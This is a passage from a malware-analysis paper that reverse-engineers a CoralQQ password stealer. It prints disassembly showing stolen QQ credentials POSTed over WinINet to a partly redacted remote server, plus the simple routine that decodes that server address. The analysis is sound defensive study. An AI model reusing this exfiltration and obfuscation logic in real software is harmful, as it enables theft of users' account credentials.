10001A15      call    strcat
10001A1A      add    esp, 8
10001A1D      push    offset qq_edit ; char *
10001A22      lea     ecx, [ebp+url_parameters]
10001A28      push    ecx           ; char *
10001A29      call    build_url
10001A2E      add    esp, 8
10001A31      lea     edx, [ebp+url_parameters]
10001A37      push    edx           ; char *
10001A38      call    strlen
10001A3D      add    esp, 4
10001A40      push    eax           ; dwOptionalLength
10001A41      lea     eax, [ebp+url_parameters]
10001A47      push    eax           ; lpOptional
10001A48      mov    ecx, psharedMap
10001A4E      add    ecx, 54h
10001A51      push    ecx           ; data
10001A52      call    decode_http_info
                                ; extracts some url parts from shared map
add    esp, 4
push    eax           ; lpszObjectName
10001A5B      mov    edx, psharedMap
add    edx, 4
push    edx           ; data
10001A64      call    decode_http_info
                                ; extracts server name from shared map
10001A65
```

```

10001A6A      add    esp, 4
10001A6D      push   eax          ; lpszServerName
10001A6E    call  send_qq_info_to_server
10001A73      add    esp, 10h
10001A76      mov    bQQHookCannotbeExec, 1
10001A80      pop    edi
10001A81      mov    esp, ebp
10001A83      pop    ebp
10001A84      retn
10001A84 timer_func    endp

```

The first thing that function does is to kill the timer that actually triggered it! So the timer was actually a simple "obfuscated" way to call it, instead of having a classic function call.

The data string commentaries are quite explicit, and our guess was correct. Several pieces of information such as the user name, password or server are collected and concatenated to form what looks like a URL with GET parameters. We then have two calls to decode\_http\_info(). Imagine there was no name, let's skip it for the moment, and examine the next function send\_qq\_info\_to\_server().

```

100017D8 ; int __cdecl send_qq_info_to_server
(LPCSTR lpszServerName,LPCSTR lpszObjectName,LPVOID lpOptional,DWORD dwOptionalLength)
100017D8
100017D8 send_qq_info_to_server proc near
100017D8
100017D8 lpszAcceptTypes = dword ptr -14h
100017D8 var_10        = dword ptr -10h
100017D8 hRequest       = dword ptr -0Ch
100017D8 hInternet      = dword ptr -8
100017D8 hConnect       = dword ptr -4
100017D8 lpszServerName = dword ptr 8
100017D8 lpszObjectName = dword ptr 0Ch
100017D8 lpOptional      = dword ptr 10h
100017D8 dwOptionalLength= dword ptr 14h
100017D8
100017D8         push    ebp
100017D9         mov     ebp, esp
100017DB         sub    esp, 14h
100017DE         push    0          ; dwFlags
100017E0         push    0          ; lpszProxyBypass
100017E2         push    0          ; lpszProxy
100017E4         push    0          ; dwAccessType
100017E6         push    offset szAgent ; "SPY KING"
100017EB    call  ds:InternetOpenA
100017F1         mov    [ebp+hInternet], eax
100017F4         cmp    [ebp+hInternet], 0
100017F8         jnz    short loc_10001801
100017FA         xor    eax, eax
100017FC         jmp    loc_100018C5
10001801 ; -----
10001801
10001801 loc_10001801:
10001801         push    0          ; dwContext
10001803         push    0          ; dwFlags
10001805         push    3          ; dwService
10001807         push    0          ; lpszPassword
10001809         push    0          ; lpszUserName
1000180B         push    50h        ; nServerPort
1000180D         mov    eax, [ebp+lpszServerName]
10001810         push    eax        ; lpszServerName
10001811         mov    ecx, [ebp+hInternet]
10001814         push    ecx        ; hInternet
10001815    call  ds:InternetConnectA

```

```

1000181B      mov     [ebp+hConnect], eax
1000181E      cmp     [ebp+hConnect], 0
10001822      jnz     short loc_10001835
10001824      mov     edx, [ebp+hInternet]
10001827      push    edx          ; hInternet
10001828      call    ds:InternetCloseHandle
1000182E      xor     eax, eax
10001830      jmp     loc_100018C5
10001835 ; -----
10001835
10001835 loc_10001835:
10001835      mov     [ebp+lpszAcceptTypes],
                      offset aAccept ; "Accept: */*"
1000183C      mov     [ebp+var_10], 0
10001843      push   0           ; dwContext
10001845      push   80000000h ; dwFlags
1000184A      lea    eax, [ebp+lpszAcceptTypes]
1000184D      push   eax          ; lplpszAcceptTypes
1000184E      push   0           ; lpszReferrer
10001850      push   offset szVersion ; "HTTP/1.0"
10001855      mov    ecx, [ebp+lpszObjectName]
10001858      push   ecx          ; lpszObjectName
10001859      push   offset szVerb   ; "POST"
1000185E      mov    edx, [ebp+hConnect]
10001861      push   edx          ; hConnect
10001862      call   ds:HttpOpenRequestA
10001868      mov    [ebp+hRequest], eax
1000186B      cmp    [ebp+hRequest], 0
1000186F      jnz     short loc_10001889
10001871      mov    eax, [ebp+hConnect]
10001874      push   eax          ; hInternet
10001875      call   ds:InternetCloseHandle
1000187B      mov    ecx, [ebp+hInternet]
1000187E      push   ecx          ; hInternet
1000187F      call   ds:InternetCloseHandle
10001885      xor    eax, eax
10001887      jmp     short loc_100018C5
10001889 ; -----
10001889
10001889 loc_10001889:
10001889      mov    edx, [ebp+dwOptionalLength]
1000188C      push   edx          ; dwOptionalLength
1000188D      mov    eax, [ebp+lpOptional]
10001890      push   eax          ; lpOptional
10001891      push   2Fh         ; dwHeadersLength
10001893      push   offset szHeaders
; "Content-Type: application/x-www-form-urlencoded"
10001898      mov    ecx, [ebp+hRequest]
1000189B      push   ecx          ; hRequest
1000189C      call   ds:HttpSendRequestA
100018A2      mov    edx, [ebp+hRequest]
100018A5      push   edx          ; hInternet
100018A6      call   ds:InternetCloseHandle
100018AC      mov    eax, [ebp+hConnect]
100018AF      push   eax          ; hInternet
100018B0      call   ds:InternetCloseHandle
100018B6      mov    ecx, [ebp+hInternet]
100018B9      push   ecx          ; hInternet
100018BA      call   ds:InternetCloseHandle
100018C0      mov    eax, 1
100018C5
100018C5 loc_100018C5:
100018C5      mov    esp, ebp
100018C7      pop    ebp

```

```

100018C8           retrn
100018C8 send_qq_info_to_server endp

```

This function uses the Windows high-level HTTP API set to request a fake page on an website. The collected information about QQ is posted via a POST request. The sequence of API calls is the following:

```

hInternet = InternetOpen("SPY KING", ...)
-> the HTTP user agent used is "SPY KING"

hConnect = InternetConnect(hInternet, server_name, 80, ...)
-> connect to a server, port 80

hRequest = HttpOpenRequest(hConnect, "POST", object_name, ...)
-> prepare a POST request on the URL "server_name/object_name"

HttpSendRequest(hRequest, "Content-Type:...", 0x2F, optional, size
(optional))
-> send the request

HttpInternetCloseHandle(..)
-> close everything the proper way

```

*optional* is the actual stolen data. Now the question is, what are the server name and the complete URL? Actually, we should have asked ourself this question a couple of hundreds lines before! Remembenber that every piece of data seem to be stored in plaintext; moreover, everything led us to think that the information was sent back to the author via HTTP. So how come we didn't see any URL or IP address ?

### Sending the stolen data, yes but where?

Let's analyze timer\_func() deeper. *lpszServerName* and *lpszObjectName* are the first and second parameters given to send\_qq\_info\_to\_server(). Those string pointers seem to be calculated by a function, decode\_http\_info(), called twice in 0x10001A52 and 0x10001A65. This function takes a single parameter, a pointer to our famous shared map (the named object "RX\_SHARE"). Actually, the first call is given a pointer to the shared map +0x54, the second +4. It seems to make sense since the first DWORD of the map was used to store the thread identifier of the initial process. Now, the piece of data stored from 4 to 0x104 seems encoded:

Offset	Data, encoded
0x00	<Plain TID> [4 bytes]
0x04	0F0F0F05ED0E0CA6C6 ... 00000000000000000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000
0x54	D8C4DEF2D4 ... ... D4DA5EC4E8E2 ... 0000000000 00000000000000000000000000000000 00000000000000000000000000000000 00000000000000000000000000000000

Let's see what decode\_http\_info does with it:

```

100018C9 ; int __cdecl decode_http_info(char *data)
100018C9 decode_http_info proc near
100018C9
100018C9 len          = dword ptr -0Ch
100018C9 cpt          = dword ptr -8
100018C9 buffer       = dword ptr -4

```

```

100018C9 data          = dword ptr  8
100018C9
100018C9      push    ebp
100018CA      mov     ebp, esp
100018CC      sub     esp, 0Ch
100018CF      push    50h           ; size_t
100018D1      call    malloc
100018D6      add     esp, 4
100018D9      mov     [ebp+buffer], eax
100018DC      push    50h           ; size_t
100018DE      push    0             ; int
100018E0      mov     eax, [ebp+buffer]
100018E3      push    eax           ; void *
100018E4      call    memset
100018E9      add     esp, 0Ch
100018EC      mov     ecx, [ebp+data]
100018EF      push    ecx           ; char *
100018F0      call    strlen
100018F5      add     esp, 4
100018F8      mov     [ebp+len], eax
100018FB      mov     [ebp+cpt], 0
10001902      jmp    short loc_1000190D
10001904 ; -----
10001904
10001904 loc_10001904:
10001904      mov     edx, [ebp+cpt]
10001907      add     edx, 1
1000190A      mov     [ebp+cpt], edx
1000190D
1000190D loc_1000190D:
1000190D      mov     eax, [ebp+cpt]
10001910      cmp     eax, [ebp+len]
10001913      jnb    short @exit
10001915      mov     ecx, [ebp+data]
10001918      add     ecx, [ebp+cpt]
1000191B      xor    eax, eax
1000191D      mov     al, [ecx]
1000191F      cdq
10001920      sub    eax, edx
10001922      sar    eax, 1
10001924      sub    eax, 1
10001927      mov     edx, [ebp+buffer]
1000192A      add     edx, [ebp+cpt]
1000192D      mov     [edx], al
1000192F      jmp    short loc_10001904
10001931 ; -----
10001931
10001931 @exit:
10001931      mov     eax, [ebp+buffer]
10001934      mov     esp, ebp
10001936      pop    ebp
10001937      retn
10001937 decode_http_info endp

```

If this function doesn't speak to you, just look at those instructions:

```

xor    eax, eax
mov    al, [ecx]
...
sar    eax, 1
sub    eax, 1
...
mov    [edx], al

```

A character from the encoded string is stored in eax. eax is shifted one bit to the right, then decremented. The result is stored in a dynamically allocated memory chunk. You can execute this routine in a debugger, here is what you'll get (some characters of the URL have been blanked out on purpose):

```
server_name: www.god52*****  
object_name: kanxin/*****/*****/mail.asp
```

And the mystery of the URL is solved. The algorithm was quite poor, but still sufficient to prevent an analyst to get all pieces of information from a simple look at the program's data. Even a black box analysis, when running the program, would probably not have been enough. The conditions to actually get the infostealer to work are not trivial:

- need to have the program with a proper name, as seen before (client.exe)
- need a good version of CoralQQ (not even the official QQ program)
- need to actually establish a proper connection and monitor the traffic or log the API calls

Clearly, white box analysis is a requirement when one wants to uncover all the secrets of a malicious piece of code!

## Conclusion

A thing one needs to ask her/himself when analyzing a program is "What information am I looking for, what do I need to find now ?". Active reverse engineering is an efficient way to quickly find important pieces of information. So far, we mostly did passive reverse engineering, starting from the entry point and just following the code flow. The program gave us the pieces of information we needed to find, but we may have found those faster. In a situation where time actually matters - such as in the industry of malware analysis - going to the relevant program routines at once is important.

In the case of that program, the thinking could be:

- check the strings:
  - \* 'QQ': it may try to steal QQ's credentials
  - \* 'Spy', etc: confirmation of the above
  - \* URL parameters 'pass', 'user': those credentials may be sent via a URL
- check the imports:
  - \* the resource APIs: the file may be a dropper of the real malware that needs analysis
  - \* the shared map APIs: some vital information may be there (which was the case)
- check the dropped component:
  - \* the hook APIs, FindWindow API: classic combination of a hooking program
  - \* the high-level HTTP handling APIs: confirms our suspicion above

It's only a subset of what types of fast and profitable actions we may start an analysis with.

This paper introduced some classic techniques used by malware authors, some of those being:

- storing programs into resources
- sharing memory between processes the easy way
- using Windows message hooks and API hooks to insert spies into programs
- communicating with a remote server without revealing every little piece of information at a first glance

Hopefully, a next paper will review some of those techniques and present some new ones. Meanwhile, it was a pleasure for me to talk about this CoralQQ password stealer program!

NF - first\_name d-o-t last\_name a-t g-m-a-i-l d-o-t c\_o\_m